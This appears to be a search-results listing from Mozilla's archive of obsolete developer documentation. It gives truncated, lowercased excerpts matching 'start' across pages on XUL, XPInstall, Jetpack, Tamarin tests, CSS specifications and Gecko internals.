andidate recommendation clarifies how charsets are determined; minor changes in parsing and tokenization algorithms. css grid layout candidate recommendation add a grid layout to the css display property and several new css properties to control it: grid, grid-area, grid-auto-columns, grid-auto-flow, grid-auto-position, grid-auto-rows, grid-column, grid-column-
start, grid-column-end, grid-row, grid-row-
start, grid-row-end, grid-template, grid-template-areas, grid-template-rows, and grid-template-columns. css display module level 3 candidate recommendation css will change module level 1 candidate recommendation media queries level 4 candidate recommendation ...
..., animation-iteration-count, animation-name, animation-play-state, and animation-timing-function properties, as well as the @keyframes at-rule. web animations working draft css text module level 3 working draft extends: the css text-transform property with the value full-width. the css text-align property with the value
start, end,
start end, and match-parent for a better support of documents with multiple directionalities of text. the css text-align property with a <string> value to align on that character. this is useful to align number on the decimal point. the css word-spacing and letter-spacing properties with range constraints to control flexibility in justification. adds: control ...
List of Mozilla-Based Applications - Archive of obsolete content
eir webui facebook open platform facebook open platform the fbml parser used in the platform is based on mozilla code fennec browser for mobiles as mark notes: fennec is not firefox, it’s a completely different application findthatfont! ...
...ng uses mozilla rhino phloneme publishing tool for vocab collab phped php editor embedded mozilla browser in product pidgin im client uses nss plain old webserver extension and standalone webserver 5,000 users and 30,000 downloads poe::xul framework for remote xul application in poe postbox email client
started as a fork of thunderbird printgroove jt suite print process software uses xulrunner and spidermonkey prism (was webrunner) single-site browser xulrunner application pro/engineer wildfire cadcam product psycrunner chat, messenger, multicast toolkit about 1,000 users – xulrunner version of psyczilla extension pyjamas-desktop ...
Creating a Web based tone generator - Archive of obsolete content
mples to play, a buffer of 500 ms is created. the function mozcurrentsampleoffset() is used to know the position of the samples being played so that we can fill a 500 ms buffer of audio samples. <!doctype html> <html> <head> <title>javascript audio write example</title> </head> <body> <input type="text" size="4" id="freq" value="440"><label for="hz">hz</label> <button onclick="
start()">play</button> <button onclick="stop()">stop</button> <script type="text/javascript"> function audiodatadestination(samplerate, readfn) { // initialize the audio output. var audio = new audio(); audio.mozsetup(1, samplerate); var currentwriteposition = 0; var prebuffersize = samplerate / 2; // buffer 500ms var tail = null; ...
...requestsounddata(sounddata) { if (!frequency) { return; // no sound selected } var k = 2* math.pi * frequency / samplerate; for (var i=0, size=sounddata.length; i<size; i++) { sounddata[i] = math.sin(k * currentsoundsample++); } } var audiodestination = new audiodatadestination(samplerate, requestsounddata); function
start() { currentsoundsample = 0; frequency = parsefloat(document.getelementbyid("freq").value); } function stop() { frequency = 0; } </script> </body> </html> ...
Images, Tables, and Mysterious Gaps - Archive of obsolete content
the techniques described this article are no longer best practices for web-based development. it is now preferable to use css for layout. however, these techniques may be relevant when the developer cannot assume that users have a modern browser, such as for html-based e-mail messages. almost no matter when you
started creating web pages, odds are pretty high you have one or more designs based on the classic "convoluted tables and lots of images" paradigm. whether you've sliced up a logo so it fits in well with the design, or used tons of single-pixel spacer gifs, the principles (and perils) remain largely the same. back in the early days, this approach worked, because browsers would usually make a table cell exactly as wide and tall as an image it contained. fast forward to 2001, a...
...instead of their own private layout algorithms. thanks to an obscure corner of the css specification, every design based on a precise layout of small images in table cells have become visual disasters just waiting to happen. all it takes is a modern browser and the right doctype, and kaboom! the components let's take a close look at the breeding ground for trouble, and why this is a problem. we
start with a simple case, illustrated in figure 1: a one-cell table containing an image. obviously most designs are a touch more complicated than this, but we don't need anything more for our purposes. one image, one cell-- that's all it takes. there's nothing apparently wrong with that example. there isn't supposed to be, since it's an example of how browsers have traditionally behaved. now let's ...
Monitoring WiFi access points - Archive of obsolete content
this object is described in lines 11 through 40 in the code above. the onchange() method (lines 13 through 27) ...
... privileges, then clearing out the div (d) that will receive the updated list of access points. then the loop in lines 19-22 iterates over the list of access points received in the accesspoints array and adds them to the html in the div. then the c div is updated with the number of times the list has been refreshed. the onerror() method simply opens an alert that displays the error code received.
starting to monitor access points to
start monitoring the access points, we instantiate the listener (on line 44), then get access to the wifi monitor interface on line 45. the monitoring is
started up on line 47, by calling the wifi monitoring service's
startwatching() method. ...
No Proxy For configuration - Archive of obsolete content
or a comma (","). note for former-ie users: "*" is supported only at the beginning of domain filters (*.mozilla.org). to block ... put this into "no proxy for" ...for example use... ...
... a domain, including sub-domains domain suffix "mozilla.org" does not block domains that end in the same string (amozilla.org) sub-domains domain suffix,
starting with a dot ".mozilla.org" does not block the main domain (mozilla.org) a hostname (without domain) hostname-only (see problems below) "localhost" also blocks any possible domains that
start with the entry ("www.otherdomain.localhost") a hostname (with domain) domain name "www.mozilla.org" does not block hostnames or domains that end in the same string (other-www.mozilla.org) an ip address ip address "1.2.3.4" does not block hostnames that resolve to the ip address ("127.0.0.1" does not block "localhost") a network network w/ cidr block...
Source code directories overview - Archive of obsolete content
this document contains material for seamonkey, firefox, and toolkit. it is a living document which is (supposed to be) updated monthly according to changes in the mozilla source tree. ...
...t scripts, to microsoft com and to regular mozilla c code. some low-level xpcom classes and interfaces are also defined here (e.g. the event loop for all platforms). xpcom is compatible and very similar to microsoft com (although xpcom is cross-platform). xpfe contains the c interfaces, c code and xul for implementing the "cross platform front end." essentially, this is where the mozilla program
starts and manages other components to accomplish tasks. this code contains very little platform dependent code; it relies on other components to provide platform independent interfaces to platform specific functionality. xpinstall contains the c interfaces and code for implementing the smartupdate feature from mozilla classic. xpinstall provides code for downloading files, uncompressing them and inst...
Bonsai - Archive of obsolete content
queries on the contents of a cvs archive; you can: get a list of checkins, see what checkins have been made by a given person, or on a given cvs branch, or in a particular time period. it also includes tools for looking at checkin logs (and comments); doing diffs between various versions of a file; and finding out which person is responsible for changing a particular line of code ("cvsblame").
start at the main bonsai query page or seamonkey tree control page here are some example queries that will give you a taste of what bonsai is capable of: today's checkins to the mozilla source mainline. checkins to any branch of xfe by ramiro between 26-feb-1998 and 12-may-1998 differences between revisions 3.1 and 3.3 of the file mozilla/cmd/xfe/forms.c that's a small sample, but it should be...
... query page or seamonkey tree control page here are some example queries that will give you a taste of what bonsai is capable of: today's checkins to the mozilla source mainline. checkins to any branch of xfe by ramiro between 26-feb-1998 and 12-may-1998 differences between revisions 3.1 and 3.3 of the file mozilla/cmd/xfe/forms.c that's a small sample, but it should be enough to get you
started. play around with the various options on the main bonsai query page. if you're updating our cvs tree you'll need to learn about hacking with bonsai. bonsai source code the source code to the bonsai tool itself is also available, check out the information available at the bonsai project page. original document information author(s): jamie zawinski last updated date: september 8, 2004 co...
Bookmark Keywords - Archive of obsolete content
"spam and eggs." because these tools require bookmarks with specific keywords in order to work, they will be referred to hereafter as keymarks, as distinct from regular bookmarks. laying the groundwork we're going to pick a relatively easy example to illustrate this process: a keymark that will let the user jump straight to a specific bugzilla entry by entering its number. the quickest way to
start is to simply look up any random bug in the bugzilla system-- the actual number doesn't matter. see figure 1 for an example. to file this bookmark open the "bookmarks" menu in the browser and select "add bookmark," or by of use the keyboard equivalent (e.g., <tt>cmd-d</tt> on macintosh). this will add a bookmark of the current page to the list of bookmarks. you can also file the bookmark into a f...
...mark, you only have to glance at the bookmark's title to remember the keyword. however, the two should not be a case-sensitive match-- that is, if your keyword is av, then your title should be "av" or "av" or anything besides "av." (see bugzilla entry 119201 for details.) since this bookmark is intended to look up bugzilla entries, we'll call it "bz," as shown in figure 3. here's where the power
starts to show up. switch to the "location:" field and go all the way to the end. replace the bug's number (82839) with the string %s. you should end up with the result shown in figure 4, without the red highlighting. the %s is a little flag that means "insert user input here." it doesn't have to go at the end of the location field-- it can be anywhere inside the field. you just need to fill in whatev...
Structure of an installable bundle - Archive of obsolete content
allable application extension. basic structure of a bundle a bundle may include any of the following files: path from the root of the bundle description version information /install.rdf extension/theme install manifest /application.ini application launch manifest /bootstrap.js the bootstrap script for extensions not requiring a re
start (those with <em:bootstrap>true</em:bootstrap> in their install.rdf). note that other files and directories (e.g. chrome.manifest, components, defaults) in bootstrapped extensions are not processed by a supporting application. (>=2.0) /chrome.manifest chrome registration manifest (>=1.8) /components/* xpcom components (*.js, *.dll), and interface files from *.xpt (...
...ection platform-specific files to learn how to use platform-specific files. in some cases a single extension or application may wish to include binary component or plugins for multiple platforms, or theme authors might want to include multiple platform-specific jar files. to facilitate the first case, the extension/app loader has special sub-directories specifically for platform-specific files (
starting with toolkit/gecko 1.8, firefox/thunderbird 1.5). the platform string is defined during the toolkit build process to a value unique for the combination of operating system, processor architecture and compiler. the format of the platform string is: {os_target}_{target_xpcom_abi} all of the files which are loaded from the main extension directory are loaded from the subdirectory /platform/{p...
Enabling the behavior - updating the status periodically - Archive of obsolete content
status; gxmlhttprequest.open("get", "http://tinderbox.mozilla.org/seamonkey/panel.html"); gxmlhttprequest.send(null); window.settimeout(loadtinderboxstatus, 60000); } window.settimeout(loadtinderboxstatus, 1000); window.settimeout schedules functions to run at some future time. we use it inside the loadtinderboxstatus function to make that function run a second (1,000 milliseconds) after
startup and a minute (60,000 milliseconds) after each invocation. this allows users to get relatively frequent updates about tinderbox without overloading the tinderbox server or slowing down mozilla with requests. our code is now ready to run, but mozilla doesn't know about it yet. to enable its functionality, we have to add a reference to our javascript code into navigator.xul, just as we put a refe...
...to confirm this state, go to tinderbox and verify that the panel displays the current worst state of active tinderbox clients. « previousnext » ...
Making it into a dynamic overlay and packaging it up for distribution - Archive of obsolete content
article may be out of date. this method of packaging applies to older applications, like mozilla suite, firefox 1.0. see building an extension for updated instructions. now that we have a static overlay we're in good shape to create a xpi package that installs our extension as a dynamic overlay. xpis have a complex structure designed to separate ui layers from each other. ...
...create a tinderstatus subdirectory in it and a content sub-subdirectory in that subdirectory. ...
Block and Line Layout Cheat Sheet - Archive of obsolete content
ient reflow state for a nslinebox that contains a block frame. mnextrcframe during an incremental reflow, this member holds current frame in the reflow chain. nslinelayout encapsulates the transient reflow state for a nslinebox that contains inline frames. a new nslinelayout object is created for each inline linebox that is flowed. ...
...ame. mnextrcframe during an incremental reflow, this member holds current frame in the reflow chain. nslinelayout encapsulates the transient reflow state for a nslinebox that contains inline frames. a new nslinelayout object is created for each inline linebox that is flowed. mflags ll_endsinwhitespace set to true by default when
starting line layout. ...
Content states and the style system - Archive of obsolete content
whether the content state change something could affect any styles. this is done by walking the list of all css2.1 simple selectors in all style sheets applied to the page that have a state-dependent pseudo-class as part of the selector. this list is created during the parsing of the stylesheets involved. ...
...pendent pseudo-class as part of the selector. this list is created during the parsing of the stylesheets involved. for each selector in this list we check whether it might have stopped matching the node or
started matching it. if that has happened, then the style could depend on the state that changed and we have to reresolve style. the way we determine whether the selector might have stopped or
started matching the node is by just checking whether it matches with the caveat that all the state-dependent pseudo-classes corresponding to the states that changed must be treated as matching (whether they actually do and whether they're negated or not). this is needed to catch both selectors that now match and selectors that no longer match. for example, say we have the selectors: a:hover a:no...
Layout System Overview - Archive of obsolete content
the notion of incrementalism. one of the goals of the layout system's design is to create parts of the presentation as they become available, rather than waiting for the entire document to be read, parsed, and then presented. this is a major benefit for large documents because the user does not have to wait for the 200th page of text to be read in before the first page can be displayed - they can
start reading something right away. so really, this sequence of operations resolve style, create frame, layout frame, gets repeated many times as the content becomes available. in the normal in-flow case this is quite natural because the sequential addition of new content results in sequential addition of new frames, and because everything is in-flow, the new frames do not influence the geometry of the...
...t, and reflow queue are the most important high-level parts of the presentation shell. frame manager the frame manager is used to, well, manage frames. frames are basic formatting objects used in layout, and the frame manager is responsible for making frames available to clients. there are several collections of frames maintained by the frame manager. the most basic is a list of all of the frames
starting at the root frame. clients generally do not want to incur the expense of traversing all of the frames from the root to find the frame they are interested in, so the frame manager provides some other mappings based on the needs of the clients. the most crucial mapping is the primary frame map. this collection provides access to a frame that is designated as the primary frame for a piece of cont...
GRE - Archive of obsolete content
also known as the "standalone glue" (see xpcom glue). this library provides a layer of indirection between embedding code and xpcom. to use the xpcom glue, you must follow these steps: compile your code with xpcom_glue defined. link with xpcomglue.lib (not xpcomglue_s.lib!). don't link against the nspr libs. find a compatible gre (see above). ...
...link to that gre using the xpcomglue
startup() function. see environment variables below. initialize xpcom and do your work; when finished, shut down xpcom. unlink xpcom with xpcomglueshutdown(). dependent libraries and environment variables the xulrunner gre is designed so that the embedder does not need to set any environment variables such as path or ld_library_path before calling xpcomglue
startup(), because it dynamically loads the correct dependent libraries. unfortunately, the mozilla suite-based gre is not as forgiving, especially on linux. embedders will need to set the ld_library_path environment variable and
start a new process in order to embed a suite-based gre correctly. ...
Gecko Coding Help Wanted - Archive of obsolete content
reports in bugzilla can be deceptive, deceptively hard... or deceptively easy. so we've compiled a list of pointers —from the experts. ...
...d, ugly and inefficient method signatures to more natural c++ method signatures. it's really improved code readability, reduced code size, and sped up performance. it's kind of tedious but it's extremely valuable and will help you learn the way around the codebase. we've done a lot, but there's a lot more to do. roc is willing to work closely with anyone with reasonable c++ experience to get them
started on this. just send him mail. not up for coding yet? join the gecko bugathon and help save gecko engineers from imminent doom! original document information author(s): fantasai last updated date: may 4, 2004 copyright information: portions of this content are © 1998–2007 by individual mozilla.org contributors; content available under a creative commons license | details. ...
Helper Apps (and a bit of Save As) - Archive of obsolete content
ly). look in user preferences. ask the os: registry on windows. internet config on the mac. mailcap/mime.types on linux. look in second built-in list, which the user can override. nsexternalapphandler details implements nsistreamlistener. gets notifications from necko as the data comes in. four primary tasks: sets up temporary file and instantiate the nsihelperapplauncherdialog in on
startrequest. puts the data in the file as ondataavailable notifications come in. knows how to launch a helper application on the data based on the nsimimeinfo. knows how to save the data to disk at a given location if the user decides to do so. nsexternalapphandler::on
startrequest creates a temporary file with a salted name to hold the data. decides on a suggested filename for the data in cas...
...ly via nsiprocess or via the ::shellexecute() method depending on where the mimeinfo came from. last-ditch check for executable files here. mac: use the launchwithdoc() method on nsilocalfilemac. unix: launch directly via nsiprocess. security considerations multiple checks for whether a file is executable (on windows) to keep from launching such files via ::shellexecute(). checks happen in on
startrequest, in the helper app dialog, and as a last ditch in the launching code. limitations of nsimimeinfo no way to say "do whatever the os default is." no support for command-line arguments. no support for multiple commands connected by pipes (mostly useful on unix). ongoing work support synchronous dialogs, not just asynchronous ones (fixes many issues related to pre-downloading, conten...
Simple Storage - Archive of obsolete content
it's a simple key-based persistent object data store. simple storage is really simple. ...
...s all there is to it! note that these examples create a mystorage variable to emphasize the fact that jetpack.storage.simple is just a normal javascript object. they could have simply used jetpack.storage.simple directly. here's a complete real-world example. it's a simple note-taking jetpack. select some text on the page, right-click, and select note. the text will be remembered across browser re
starts as a note. all notes are shown in the tools menu. you can install this example from the jetpack gallery. jetpack.future.import("menu");jetpack.future.import("selection");jetpack.future.import("storage.simple");// create the persistent notes array if it doesn't already exist.jetpack.storage.simple.notes = jetpack.storage.simple.notes || [];var notes = jetpack.storage.simple.notes;// updates the j...
Simple Storage - Archive of obsolete content
it's a simple key-based persistent object data store. simple storage is really simple. jetpack.storage.simple is a single, persistent javascript object private to each jetpack. for the most part this object is like any other javascript object, and a jetpack can set whatever properties it wants on it. to manipulate its persistent data, a jetpack therefore need only use the various standard javascript functions and operators. the jetpack.simple.storage object is automatically and periodically flushed to disk. how and when it is flushed is an implementation detail. ...
...s all there is to it! note that these examples create a mystorage variable to emphasize the fact that jetpack.storage.simple is just a normal javascript object. they could have simply used jetpack.storage.simple directly. here's a complete real-world example. it's a simple note-taking jetpack. select some text on the page, right-click, and select note. the text will be remembered across browser re
starts as a note. all notes are shown in the tools menu. you can install this example from the jetpack gallery. jetpack.future.import("menu"); jetpack.future.import("selection"); jetpack.future.import("storage.simple"); // create the persistent notes array if it doesn't already exist. jetpack.storage.simple.notes = jetpack.storage.simple.notes || []; var notes = jetpack.storage.simple.notes; // updat...
Jetpack - Archive of obsolete content
jetpack jetpack is a project to make it easy to build firefox add-ons using common web technologies. ...
... jetpack jetpack is a project to make it easy to build firefox add-ons using common web technologies. ...
Makefile.mozextension.2 - Archive of obsolete content
the same goes for this slight makefile rework here. ...
..., all of the < > will be quoted as & lt ; so again it will be corrupt :( therefore, here is a direct link to this makefile: makefile.mozextension2 ## file: makefile.mozextension2 ## based on http://kb.mozillazine.org/makefile_for_packaging_an_extension ## "this makefile.mozextention is for the test extension" ## the original makefile.mozextention reconstructs http://kb.mozillazine.org/getting_
started_with_extension_development # call with: # make -f makefile.mozextension2 make_structure ## (without args for 'all') # note: @echo silent; without @ the command is written in stdout project=test project_name=testworld #~ project_id={xxxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx} project_id=test@testworld.ext project_version=1.0 project_desc="a $(project_name) project with advanced features" project...
File object - Archive of obsolete content
warning: this section describes the file component of the spidermonkey javascript interpreter. file is non-standard, not generally compiled into distributions, is a potential source of huge security holes, and not well tested. getting
started in order to use the file object from your javascript programs, you must enable it by setting the make variable js_has_file_object during the compilation of your spidermonkey engine. if you are building a standalone version of spidermonkey (see: spidermonkey build documentation), this variable can be added on the make command line, like so: cd mozilla/js/src make -f makefile.ref js_has_file_object=1 alternatively, if you are building a larger product (such as a browser) and want to include the file object, you may need to perform minor makef...
...nstructor, the current working directory is the file object that is returned. examples of possible prefix strings are "/" to indicate the unix root directory, "c:" to specify a windows drive letter, and "file:" to indicate a file url. when a file is constructed, leading and trailing spaces are removed from the filename, so new file(" abc.txt ") just creates a file called abc.txt. filenames
starting and ending with the pipe symbol (|) are interpreted as pipes. readable pipelines (i.e. pipe to programs generating output on stdout) begin with the pipe symbol; writeable pipelines end with the pipe symbol. bi-directional pipelines are not supported. properties static properties file.input a file object that represents the standard input (stdin). file.currentdir a file object that repr...
Static Analysis for Windows Code under Linux - Archive of obsolete content
build gcc corss-compiler with plugin support by default gcc does not support plugins. ...
...the static check will be done when compiling is going on. troubles you can post any question about static check to the mozilla.dev.static-analysis newsgroup and any question about cross compiling to the mozilla.dev.builds newsgroup. ...
String Quick Reference - Archive of obsolete content
why: avoid copy...
... making multiple copies of the string old way: use a bunch of nsautostrings, and use left(), right() and mid() to grab a segment of a string: // get an 8-character string
starting at the 4th position nsautostring leftside; str.left(leftside, 12); nsautostring middle; leftside.right(middle, 8); new way: use substring() to grab a direct reference to those characters: // get an 8-character string
starting at the 4th position const nsastring& middle = substring(str, 4, 8); unicode literals what: use macro tricks to make wide-character literal strings. why: avoid copying and conversion from literal char-based strings to utf16 strings. old way: use nsautostring and assignwithconversion() nsautostring widestring; widestring.assignwithconversion("some string"); callwidefunction(widestring); /...
Cmdline tests - Archive of obsolete content
the cmdline testsuite is located in test/cmdline. the testsuite allows more flexibility by coding scripts in python allowing any executable to run, sending commands to stdin, and asserting output using regular expressions. see test/cmdline/readme document for more information. ...
...ne, show local variable value, quit from cmdutils import * def run(): r=runtestlib() r.run_test( 'debugger locals', '%s -d testdata/debug.abc'%r.avmrd, input='break 53\ncontinue\nnext\ninfo locals\nnext\ninfo locals\nquit\n', expectedout=['local1 = undefined','local2 = 10','local2 = 15'] ) use case 2: test -memstats returns memory logs to stdout test contents:
start avmshell -memstats test.abc, assert stdout contains 'gross stats', 'sweep m reclaimed n pages.' from cmdutils import * def run(): r=runtestlib() r.run_test(name='memstats', command="%s -memstats testdata/memstats.abc" % r.avm, expectedout=[ 'gross stats', 'managed fragmentation', ...
Running Tamarin acceptance tests - Archive of obsolete content
to the path of the generated/shell_toplevel.abc. $ cd tamarin-redux/test/acceptance $ export asc=/users/build/hg/tamarin-redux/utils/asc.jar $ export builtinabc=/users/build/hg/tamarin-redux/generated/builtin.abc $ export shellabc=/users/build/hg/tamarin-redux/generated/shell_toplevel.abc $ export avm=/users/build/hg/tamarin-redux/objdir-release/shell/avmshell $ python runtests.py tamarin tests
started: 2010-09-28 10:37:06.410676 current configuration: x64-mac-tvm-release avm version: 5260:6d1899261bac executing 2532 tests against vm: /users/build/hg/builds/5260-6d1899261bac/mac/avmshell_64 2532 running abcasm/abs_helper.as skipping... reason: 2531 running abcasm/adhoc.abs skipping... reason: inconsistencies in different debug output, need to implement regex matching of diffs 2527 running...
...bcasm/adhoc.abs skipping... reason: inconsistencies in different debug output, need to implement regex matching of diffs 2527 running abcasm/branchtocommon.abs 2530 running abcasm/arithmetic.abs 2529 running abcasm/bkpt.abs 2528 running abcasm/bkptline.abs 2526 running abcasm/bug_476556.abs 2524 running abcasm/bug_491056.abs ... test run passed! tests complete at 2010-09-28 10:39:26.751797
start date: 2010-09-28 10:38:07.221457 end date : 2010-09-28 10:39:26.751797 test time : 0:01:19.530340 passes : 59291 failures : 0 expected failures : 75 tests skipped : 76 the -f flag tells runtests.py to force recompilation of all the scripts. for help on runtests.py options, see below or use python runtests.py -h. notes on using acceptance runtests.py threadin...
URIs and URLs - Archive of obsolete content
echanism responsible for generating or interpreting that component can determine whether or not escaping a character will change its semantics. likewise, a uri must be separated into its components before the escaped characters within those components can be safely decoded. this implies that the segments of urls are escaped differently. this is done by ns_escapeurl which is now part of xpcom, but
started as part of necko. the information how to escape each segment is stored in a matrix. also a string should not be escaped more than once. necko will not escape an already escaped character unless forced by a special mask that can be used if it is known that a string is not escaped. parsing urls rfc 2396 defines an url parser that can deal with the syntax that is common to most url schemes that ar...
...o this parser can identify drives if possible depending on the platform. standard it is not known if an authority segment exists or not, less syntax correction can be applied in this case. noteable differences necko does not support certain deprecated forms of relative urls, based on the following part of rfc 2396: if the scheme component is defined, indicating that the reference
starts with a scheme name, then the reference is interpreted as an absolute uri and we are done. otherwise, the reference uri's scheme is inherited from the base uri's scheme component. due to a loophole in prior specifications (rfc1630), some parsers allow the scheme name to be present in a relative uri if it is the same as the base uri scheme. unfortunately, this can conflict with the correct parsing...
[Deprecated] The Mozilla build VM - Archive of obsolete content
the mozilla build vm is no longer maintained or supported. thanks to significant improvements in our build environment setup process, it's much simpler and easier to get set up and stay up to date by
starting with building firefox instead. other links of interest may include: developer guide (documentation about developing on and for mozilla projects). mentored bugs have a mentor who commits to helping you every step of the way. generally, there should be enough information in the bug to get
started. whenever you need help, contact the mentor via matrix, in the bug itself, or by email. when you've completed the bug, they will help you get your code into the tree. "good" first bugs may be a little stale, but at some point in their lives we considered that they would be a good firs...
...act the mentor via matrix, in the bug itself, or by email. when you've completed the bug, they will help you get your code into the tree. "good" first bugs may be a little stale, but at some point in their lives we considered that they would be a good first step for newcomers to mozilla. we are in the process of migrating these bugs to mentored bugs, but more recent "good first bugs" may be good
starting points if there are no appropriate mentored bugs. you can also ask your getting-
started questions in the introduction chat room on matrix, and any firefox development questions in the developers room. ...
Creating XPI Installer Modules - Archive of obsolete content
of the buttons, labeled "show aphids", displays an alert dialog by calling a function defined in the javascript file barley.js. since we are not updating the mozilla ui to provide special access to this window (e.g., an item in the tasks menu or elsewhere), the measure of the success of the installation of the barley package is that the user can, as before, invoke our software by using a special
startup option: mozilla -chrome chrome://barley/content this option tells mozilla to load a chrome other than the default, which is the main browser window. for this option to work, the designated chrome must have been installed and registered properly with mozilla. the chrome:// url pointer corresponds to the directory mozilla/bin/chrome/barley/content, where the main xul file and the other resources...
... your zip archiver[zip] again to archive the jar file and the installation script install.js. the archive, named barley.xpi, should contain the following two files: barley.jar install.js this zip file, when opened from mozilla using file -> open, will initialize its own installation and display a message like the following: when you click ok, mozilla installs the new package. exit mozilla and re
start it with mozilla -chrome chrome://barley/content and the new package displays. the resources are installed in the mozilla/bin/chrome/ directory, and the xpi itself can be redistributed for installation on other machines. notes note: zip there exist a lot of zip archivers/unarchivers. for unix, you can either use the preinstalled zip tool, or e.g. 7-zip (free software). for windows, you can e.g...
initInstall - Archive of obsolete content
ftware being installed. the name of the software is displayed to the user. package the client version registry pathname for the software (for example: plugins/adobe/acrobat or /royalairways/royalpi/). it is an error to supply a null or empty name. the name can be absolute or relative. a relative pathname is relative to the netscape 6 namespace. a relative pathname must
start with plugins/, to be relative to the plug-ins portion of that namespace or java/download/, to be relative to the java portion. all other parts of the netscape 6 area of the registry are reserved for use by netscape. the client version registry is a hierarchical description of the software registered for use with netscape 6. the registry name provided here is not the location of the softwar...
...oftware. you must call this method immediately after the constructor. it is an error to call any other install methods before calling initinstall. after calling initinstall, your script must call performinstall or cancelinstall before it finishes. if your script does not call performinstall or cancelinstall, netscape 6 will not be able to clean up properly after your script finishes. example to
start installation for the royal airways plug-in, you could use this code: initinstall("royal airways tripplanner","/royalairways/ tripplanner","1.0.0.0"); ... err = getlasterror(); if (!err) performinstall(); else cancelinstall(err); ...
Return Codes - Archive of obsolete content
eturn any of the following return codes. in mozilla/seamonkey, these constants are defined as part of the xpinstall object (formerly the softwareupdate object in netscape communicator 4.5). name code explanation success 0 success. reboot_needed 999 the files were installed, but one or more components were in use. re
start the computer and the application to complete the installation process. on windows nt, you may only need to re
start the application as long as you did not replace operating system files. bad_package_name -200 a problem occurred with the package name supplied to initinstall unexpected_error -201 an unrecognized error occurred. ...
... no_such_component -213 the specified component is not present in the client version registry. does_not_exist -214 the specifi...
XPInstall API reference - Archive of obsolete content
getwinprofile getwinregistry initinstall loadresources logcomment patch performinstall refreshplugins registerchrome reseterror setpackagefolder installtrigger no properties methods compareversion enabled getversion install installchrome
startsoftwareupdate installversion properties methods compareto init tostring file no properties methods copy dircreate dirgetparent dirremove dirrename diskspaceavailable execute exists isdirectory isfile macalias moddate modd...
...yexists setrootkey setvalue setvaluenumber setvaluestring valueexists winregvalue constructor other information return codes see complete list examples trigger scripts and install scripts code samples file.macalias file.windowsshortcut install.adddirectory install.addfile installtrigger.installchrome installtrigger.
startsoftwareupdate windows install ...
XPJS Components Proposal - Archive of obsolete content
le might implement one or more components. we will have one native module - called the xpjsmanager - which holds this system together. the xpjsmanager is in charge of loading these .js files, helping them register themselves, and acting as an intermediary between the xpcom component manager and the js code. xjs components are not run in browser windows. each .js file (let's call it a module) is
started up and run in the context of a relatively 'raw' js global object. the standard (non-dom) js classes will be available. the xpconnectcomponents object will be available. and some additional yet to be defined objects may be available. the xpconnectcomponents object allows access to the whole repository of native and js xpcom components, so this is not as isolated an environment as it might at fir...
... means) it will call the nscanunload method (if present) on each module. it the module oks it then the xpjsmanager will release its root of the module's global object and release any hold over the objects in the module. any subsequent requests from the component manager that would result in nsgetfactory calls into the module will force the xpjsmanager to load up a new instance of the .js file and
start over. so, these xpjs component modules are safely unloadable, but have the power (like native modules) to veto any attempt. so when will it be ready? i was thinking that i'd get on this pretty soon. i think that it is all very straightforward. comments and suggestions welcome! original document information author: john bandhauer last updated date: 1 july 1999 ...
crop - Archive of obsolete content
« xul reference home crop type: one of the values below if the label of the element is too big to fit in its given space, the text will be cropped on the side specified by the crop attribute. an ellipsis will be used in place of the cropped text. if the box direction is reversed, the cropping is reversed.
start the text will be cropped on its left side in left-to-right text locales, and the right side in right-to-left locales. end the text will be cropped on its right side in left-to-right text locales, and the right side in right-to-left locales. left the text will be cropped on its left side. right the text will be cropped on its...
... end the text will be cropped on its right side in left-to-right text locales, and the right side in right-to-left locales. left the text will be cropped on its left side. right the text will be cropped on its right side. center the text will be cropped in the middle, showing both the
start and end of the text normally. none the text will be not be cropped using an ellipsis. however, the text will simply be cut off if it is too large. the side depends on the css text alignment. depending on the platform and theme being used, some elements will have set a maximum width so they will always appear cropped. if you wish to use the value none a...
rel - Archive of obsolete content
below the type of comparison to perform. equals the subject and value must match exactly. ...
...rm. equals the subject and value must match exactly. ...
resizer.dir - Archive of obsolete content
bottomend resized down and toward the end of the line (toward the right for left-to-right locales, toward the left for right-to-left locales). ...
... bottomend resized down and toward the end of the line (toward the right for left-to-right locales, toward the left for right-to-left locales). ...
findbar - Archive of obsolete content
ing the findbar's browserid attribute to the id of the browser element before the findbar element is bound, or by setting the findbar's browser property to the browser element itself. attributes browserid, findnextaccesskey, findpreviousaccesskey, highlightaccesskey, matchcaseaccesskey properties browser, findmode methods close, onfindagaincommand, open,
startfind, togglehighlight example <browser type="content-primary" flex="1" id="content" src="about:blank"/> <findbar id="findtoolbar" browserid="content"/> attributes browserid type: string the id of the browser element to which the findbar is attached. this attribute is only used when the findbar is constructed. you should use the browser property to get and set this value from a script...
...e, the last-used mode for the same findbar is used. if the findbar hasn't been used before, find_normal is the default. onfindagaincommand( findprevious ) return type: no return value call this method to handle your application's "find next" and "find previous" commands. you should specify true as the input parameter to perform a "find previous" operation, or false to perform a "find next."
startfind( mode ) return type: no return value call this method to handle your application's "find" command. this opens the findbar, focuses the edit field for the search term, and selects its contents. the first time this is called for a given findbar, the findbar will flash to draw attention to itself. the mode should be one of find_normal, find_typeahead, or find_links. if you don't pass a mode,...
selectItemRange - Archive of obsolete content
all other items are deselected. this method does nothing for single-selection list boxes. ...
...all other items are deselected. this method does nothing for single-selection list boxes. ...
OpenClose - Archive of obsolete content
fy how and where the popup should be positioned. these will be described below. the openpopup method is defined as follows: void openpopup(in domelement anchorelement, in string position, in long x, in long y, in boolean iscontextmenu, in boolean attributesoverride); first an example: somepopup.openpopup(anchor, "after_
start", 0, 0, false, false); this example will open a popup located just underneath another element referenced by 'anchor'. this emulates how a menu is opened, where 'anchor' is the menu element. it is possible to use the openpopup method with a menu, however, it is easier to just set the menu's open attribute to true, as that will handle the positioning of the menupopup for you. note that while the ...
...sition of the popup to be precisely controlled while still being anchored to a specific element. you can use positive values to adjust the popup to the right or downwards and negative values to adjust the popup to the left or upwards. in the following example, the popup is anchored below an element, yet is offset by 10 pixels to the right and 2 pixels upwards. somepopup.openpopup(anchor, "after_
start", 10, -2, false, false); note that the anchor and positioning only specifies the position when the popup is opened. if the anchor is moved or removed while the popup is open, the popup does not follow it. however, it is possible to move a popup while it is open, see moving and resizing a popup. the fifth argument to openpopup, iscontextmenu, is a flag which indicates whether a popup is being o...
Building Trees - Archive of obsolete content
or: lightgreen; } this would set the background color of a cell to green for any cell with the “dave” property. you can also use the properties attribute on the treerow to change the style for an entire row. this example sets the country associated with a photo as a property of a tree’s rows. we can use that property to change the appearance of each row. ...
... the background color of a cell to green for any cell with the “dave” property. you can also use the properties attribute on the treerow to change the style for an entire row. this example sets the country associated with a photo as a property of a tree’s rows. we can use that property to change the appearance of each row. ...
